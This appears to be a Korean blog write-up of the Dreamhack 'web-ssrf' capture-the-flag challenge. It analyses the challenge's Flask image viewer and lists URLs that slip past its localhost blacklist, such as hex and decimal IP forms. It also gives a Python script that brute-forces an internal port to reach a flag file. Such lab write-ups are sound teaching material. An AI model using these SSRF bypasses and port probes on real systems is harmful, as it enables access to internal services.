본문 바로가기

Study/WebHacking

Dreamhack wargame : web-ssrf write up

728x90

실습을 통해 익히기

https://dreamhack.io/wargame/challenges/75/

 

web-ssrf

flask로 작성된 image viewer 서비스 입니다. SSRF 취약점을 이용해 플래그를 획득하세요. 플래그는 /app/flag.txt에 있습니다. 문제 수정 내역 2023.07.17 css, html 제공 Reference Server-side Basic

dreamhack.io

 

url 입력창에 나와있는 경로대로 버튼 클릭했더니 위와 같이 나옴 

1) 코드 분석

/img_viewer

@app.route("/img_viewer", methods=["GET", "POST"])
# Flask 애플리케이션에서 /img_viwer 경로로 들어오는 GET 및 POST 요청을 처리하는 라우트를 정의
def img_viewer(): # /img_viwer 경로에 대한 함수 정의
    if request.method == "GET":
    #요청이 GET 메서드인 경우에 해당하는 조건문
        return render_template("img_viewer.html")
        # GET요청일 때, "img_viwer.html" 템플릿을 렌더링하여 클라이언트에 반환
    elif request.method == "POST":
    # 요청이 POST 메서드인 경우에 해당하는 조건문
        url = request.form.get("url", "")
        # POST 요청으로 전송된 데이터에서 "url"파라미터 값을 가져오고, 만약 해당 파라미터가 없으면 빈 문자열로 설정.
        urlp = urlparse(url) # 가져온 URL을 파싱하여 각 구성요소를 추출
        if url[0] == "/":  # URL이 슬래시로 시작하는 경우 로컬 서버주소를 추가하여 완전한 URL로 만듦
            url = "http://localhost:8000" + url
            
        elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
        # URL이 로컬 호스트인 경우를 확인하는 조건문
            data = open("error.png", "rb").read() 	    # "error.png" 파일을 바이너리 모드로 열어서 내용을 읽어옴
            img = base64.b64encode(data).decode("utf8") # 읽어온 이미지 데이터를 Base64로 인코딩하고 UTF-8로 디코딩하여 문자열 형태로 저장
            return render_template("img_viewer.html", img=img) # 로컬 호스트인 경우 또는 예외가 발생한 경우, 오류 이미지를 보여주기 위해 img_viewer.html 템플릿을 렌더링하고 Base64로 인코딩한 이미지 데이터를 전달함.        

		try:
            data = requests.get(url, timeout=3).content  # 주어진 URL에서 이미지 데이터를 가져옴. 요청은 3초동안 타임아웃이 설정되어 있음.
            img = base64.b64encode(data).decode("utf8")  # 성공적으로 이미지를 가져온 경우, 이미지 데이터를 Base64로 인코딩하고 UTF-8로 디코딩하여 문자열 형태로 저장.

		except:
            data = open("error.png", "rb").read()         # 예외가 발생하면 다시 "error.png"파일을 읽어와서 데이터를 가져옴
            img = base64.b64encode(data).decode("utf8")   # 예외가 발생한 경우에도 오류 이미지를 보여주기 위해 이미지 데이터를 Base64로 인코딩하고 UTF-8로 디코딩하여 문자열 형태로 저장
        return render_template("img_viewer.html", img=img)# 최종적으로 렌더링된 이미지 데이터를 img_viewer.html 템플릿을 사용하여 클라이언트에 반환.

▶️ GET : img_viwer.html을 렌더링

▶️ POST : 이용자가 입력한 url에 HTTP 요청을 보내고, 응답을 img_viewer.html의 인자로 하여 렌더링

 

기능 : run_local_server

파이썬의 기본 모듈인 http를 이용하여 127.0.0.1의 임의 포트에 HTTP 서버를 실행

http.server.HTTPServer의 두번째 인자로 http.server.SimpleHttpRequestHandler를 전달하면, 

현재 디렉터리를 기준으로 URL이 가리키는 리소스를 반환하는 웹서버 생성.

호스트가 127.0.0.1이므로 외부에서 이 서버에 직접 접근하는 것은 불가

local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
    (local_host, local_port), http.server.SimpleHTTPRequestHandler # 리소스를 반환하는 웹 서버
)
def run_local_server():
    local_server.serve_forever()
    
    
threading._start_new_thread(run_local_server, ()) # 다른 쓰레드로 `local_server`를 실행합니다.

 

2) 취약점 분석

img_viewer에서 서버 주소에 "127.0.0.1","loaclhost"이 포함된 URL로의 접근을 막음. -> SSRF 공격가능


💡URL 필터링

 -  URL에 포함된 문자열을 검사하여 부적절한 URL로의 접근을 막는 보호 기법

  1. 블랙리스트 필터링
    • URL에 포함되면 안되는 문자열로 블랙리스트로 만들기 -> 이용자의 접근을 제어
    • 블랙리스트에 "http://dreamhack.id"가 있다면 이 주소가 포함된 모든 URL로의 접근 차단
  2. 화이트리스트 필터링
    • 접근을 허용할 URL로 화이트리스트로 만들기
    • 이용자가 화이트리스트 외의 URL에 접근하려하면 차단

3) 익스플로잇 (공격)

3-1) URL 필터링 우회

  • 127.0.0.1과 매핑된 도메인 이름 사용
  • 127.0.0.1의 alias 이용
  • localhost의 alias 이용
    • URL에서 호스트와 스키마는 대소문자를 구분 x
http://vcap.me:8000/
http://0x7f.0x00.0x00.0x01:8000/
http://0x7f000001:8000/
http://2130706433:8000/
http://Localhost:8000/
http://127.0.0.255:8000/

 

  • Proof-of-Concept
    • 로컬 호스트의 8000번 포트에는 문제 서버가 실행되고 있는데 위 URL을 image viewer에 입력하면 문제 인덱스 페이지를 인코딩한 이미지가 반환됨. 따라서 위 URL은 로컬 호스트를 가리키면서 필터링 우회가능한 URL.

3-2) 포트 찾기

  1. 랜덤한 포트 찾기
  • 내부 HTTP 서버는 포트 번호가 1500이상 1800이하인 임의 포트에서 실행되고 있음
  • 위 URL을 활용하여 파이썬 스크립트를 작성하면, 무차별 대입 공격으로 포트를 찾을 수 있음
#!/usr/bin/python3
import requests
import sys
from tqdm import tqdm

# `src` value of "NOT FOUND X"
NOTFOUND_IMG = "iVBORw0KG"

def send_img(img_url):
    global chall_url
    data = {
        "url": img_url,
    }
    response = requests.post(chall_url, data=data)
    return response.text
    
    
def find_port():
    for port in tqdm(range(1500, 1801)):
        img_url = f"http://Localhost:{port}"
        if NOTFOUND_IMG not in send_img(img_url):
            print(f"Internal port number is: {port}")
            break
    return port
    
    
if __name__ == "__main__":
    chall_port = int(sys.argv[1])
    chall_url = f"http://host1.dreamhack.games:{chall_port}/img_viewer"
    internal_port = find_port()

 

 실행결과⏬

$ python ex.py 13778
56%|███████████████████████████████████████████████████▍               | 170/301 [01:22<00:57,  2.27it/s]
Internal port number is: 1670

 

플래그는 /app/flag.txt에 있다고 했으므로 

현재 서버는 /app에 위치하고 있으므로

/flag.txt를 읽으면 플래그를 획득할 수 있음

 

실제로 포트찾기 해봄

일단 tqdm 모듈이 없어서 설치

랜덤으로 포트는 1553이 나왔다.

실행시켜주면

깨져있는것을 확인할 수 있고 개발자도구 열어서 img 파일을 보면 base64 인코딩된 문자열이 있음

 

 

'Study > WebHacking' 카테고리의 다른 글

XSS Filtering Bypass - 1 정리  (0) 2024.02.07
XSS(Cross-Site-Scripting) 정리  (0) 2024.02.06
Server-side Request Forgery(SSRF) 정리  (1) 2024.02.06
Dreamhack wargame : image-storage write up  (0) 2024.02.06
Command Injection 정리  (0) 2024.02.01